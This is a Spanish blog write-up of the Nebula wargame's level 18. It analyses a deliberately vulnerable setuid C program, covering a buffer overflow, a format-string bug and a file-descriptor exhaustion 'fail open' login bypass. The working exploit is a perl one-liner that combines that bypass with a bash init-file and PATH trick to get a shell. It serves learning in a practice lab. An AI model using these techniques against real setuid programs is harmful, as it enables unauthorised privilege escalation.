Como nos indican en las instrucciones de este nivel, existen tres formas de solucionarlo: fácil, media y difícil. Voy a contar cuales son y cómo resolverlo a través de una de ellas.
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <getopt.h> struct { FILE *debugfile; int verbose; int loggedin; } globals; #define dprintf(...) if(globals.debugfile) fprintf(globals.debugfile, __VA_ARGS__) #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) fprintf(globals.debugfile, __VA_ARGS__) #define PWFILE "/home/flag18/password" void login(char *pw) { FILE *fp; fp = fopen(PWFILE, "r"); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf("Unable to read password file %s\n", PWFILE); return; } if(strcmp(pw, file) != 0) return; } dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); globals.loggedin = 1; } void notsupported(char *what) { char *buffer = NULL; asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); dprintf(what); free(buffer); } void setuser(char *user) { char msg[128]; sprintf(msg, "unable to set user to '%s' -- not supported.\n", user); printf("%s\n", msg); } int main(int argc, char **argv, char **envp) { char c; while((c = getopt(argc, argv, "d:v")) != -1) { switch(c) { case 'd': globals.debugfile = fopen(optarg, "w+"); if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg); setvbuf(globals.debugfile, NULL, _IONBF, 0); break; case 'v': globals.verbose++; break; } } dprintf("Starting up. Verbose level = %d\n", globals.verbose); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); while(1) { char line[256]; char *p, *q; q = fgets(line, sizeof(line)-1, stdin); if(q == NULL) break; p = strchr(line, '\n'); if(p) *p = 0; p = strchr(line, '\r'); if(p) *p = 0; dvprintf(2, "got [%s] as input\n", line); if(strncmp(line, "login", 5) == 0) { dvprintf(3, "attempting to login\n"); login(line + 6); } else if(strncmp(line, "logout", 6) == 0) { globals.loggedin = 0; } else if(strncmp(line, "shell", 5) == 0) { dvprintf(3, "attempting to start shell\n"); if(globals.loggedin) { execve("/bin/sh", argv, envp); err(1, "unable to execve"); } dprintf("Permission denied\n"); } else if(strncmp(line, "logout", 4) == 0) { globals.loggedin = 0; } else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; } else if(strncmp(line, "site exec", 9) == 0) { notsupported(line + 10); } else if(strncmp(line, "setuser", 7) == 0) { setuser(line + 8); } } return 0; }
Difícil:
Si os fijáis con detenimiento, veréis que existe un buffer overflow en la función setuser(), en el parámetro msg. Sería posible solucionar el reto a través de ésta vulnerabilidad, aunque yo personalmente lo descarté. La complicación reside en que el sistema tiene ASLR activado, y el binario ha sido compilado con SSP y NX. Saltarse las protecciones y desarrollar un exploit funcional, aunque posible, está un poco fuera de lugar habiendo otras dos maneras sencillas de hacerlo.
Medio:
Existe una vulnerabilidad de tipo “format string” en la función notsupported(). La solución más evidente desde aquí sería tratar de sobreescribir la variable globals.loggedin, de tal forma que se pueda invocar la shell sin problemas. Sin embargo, el programa ha sido compilado con FORTIFY_SOURCE, y aunque podemos leer posiciones de memoria con esta vulnerabilidad, cuando tratamos de sobreescribir la memoria, la ejecución es abortada.
La dirección utilizada pertenece al .bss y se ha calculado con anterioridad para que apunte a globals.loggedin. Tratar de sobreescribir el .dtors produce el mismo efecto. En realidad, cualquier sobreescritura producirá una violación de segmento o el mensaje que se ve en la captura. Otra posibilidad sería leer de memoria el password, ya que estará en la pila durante el transcurso de la función login(). Sin embargo, no creo que el password sea accesible desde la función notsupported() tras la ejecución de login(). Cualquier otra idea, será interesante leerla en los comentarios.
Fácil:
La forma sencilla de explotar la vulnerabilidad radica otra vez en conocer un poco acerca del funcionamiento de linux, en éste caso, conocer los límites de los procesos. Fijaos bien en la función login(), en el flujo lógico:
FILE *fp; fp = fopen(PWFILE, "r"); if(fp) { ... } globals.loggedin = 1;
Abre el fichero PWFILE, si lo abre satisfactoriamente, hace cosas con él. Si no, se acaba el “if” y te da acceso a la aplicación. Es un claro ejemplo de “fail open”. La pregunta evidente es: ¿cómo hacemos que falle la apertura del fichero? Al fichero en sí no tenemos acceso, así que no podemos cambiarle los permisos ni eliminarlo para que el programa falle. Sin embargo, seguro que habéis notado algo más, algo que falta. La función login() abre el fichero, pero no lo cierra. Esto es relevante cuando se añade el hecho de que un proceso tiene un máximo número de descriptores de fichero asignados. Cuando los agote todos, fopen() fallará.
Así que el truco va a consistir en invocar la función login() 1024 veces, y entonces el login fallará. Una vez que falle, fijará globals.loggedin a 1, y podremos invocar la shell. Veamos qué pasa.
Algo ha salido mal. Para ser más exactos, nuestra idea tiene un problema: cuando se va a ejecutar la shell, no quedan descriptores libres para ser utilizados por execve() durante la creación del proceso. Por suerte para nosotros, tenemos a nuestra disposición la llamada closelog, que cómo podéis ver, cierra el log, liberando un descriptor de fichero que nos viene muy bien.
} else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; }
Así que a continuación vamos a llamar 1021 veces a login(), luego una vez a closelog(), y posteriormente a shell().
El problema es que la shell se invoca con los parámeros que recibe el programa flag18, y no sabe interpretar el flag “-d”. Hay una funcionalidad de bash que podemos utilizar para sobrepasar este escollo, el flag “–init-file”. Éste flag hará que bash ejecute el contenido del fichero especificado. Aunque he intentado hacerlo de varias maneras, parece que lo único que consigo es que se ejecute el propio log del programa. Como el log del programa no contiene comandos reconocidos, la salida son un montón de líneas indicando que no encuentra el comando tal o cual.
level18@nebula:~$ perl -e 'print "login\n"x1021 . "closelog\n" . "shell\n"' | /home/flag18/flag18 --init-file /tmp/file -d /tmp/debug2.txt -vvv /home/flag18/flag18: invalid option -- '-' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 'n' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 't' /home/flag18/flag18: invalid option -- '-' /home/flag18/flag18: invalid option -- 'f' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 'l' /home/flag18/flag18: invalid option -- 'e' /tmp/debug2.txt: line 1: Starting: command not found /tmp/debug2.txt: line 2: got: command not found /tmp/debug2.txt: line 3: attempting: command not found /tmp/debug2.txt: line 4: got: command not found /tmp/debug2.txt: line 5: attempting: command not found /tmp/debug2.txt: line 6: got: command not found /tmp/debug2.txt: line 7: attempting: command not found /tmp/debug2.txt: line 8: got: command not found
La solución final, es crear un comando que se llame “Starting” o “got”, para que lo encuentre la shell, y que dicho comando ejecute nuestras instrucciones. Para ello, vamos a crear un script de bash llamado “Starting”, lo vamos a colocar en nuestro directorio actual, y vamos a añadir nuestro directorio actual al PATH, de tal forma que bash lo encuentre.
Y efectivamente en el fichero /tmp/flag18, tenemos el flag de éste nivel.
level18@nebula:~$ cat /tmp/flag18 You have successfully executed getflag on a target account
Con esto hemos cubierto todos los niveles de Nebula. Cualquier pregunta, en los comentarios.
¡Salud!
Responder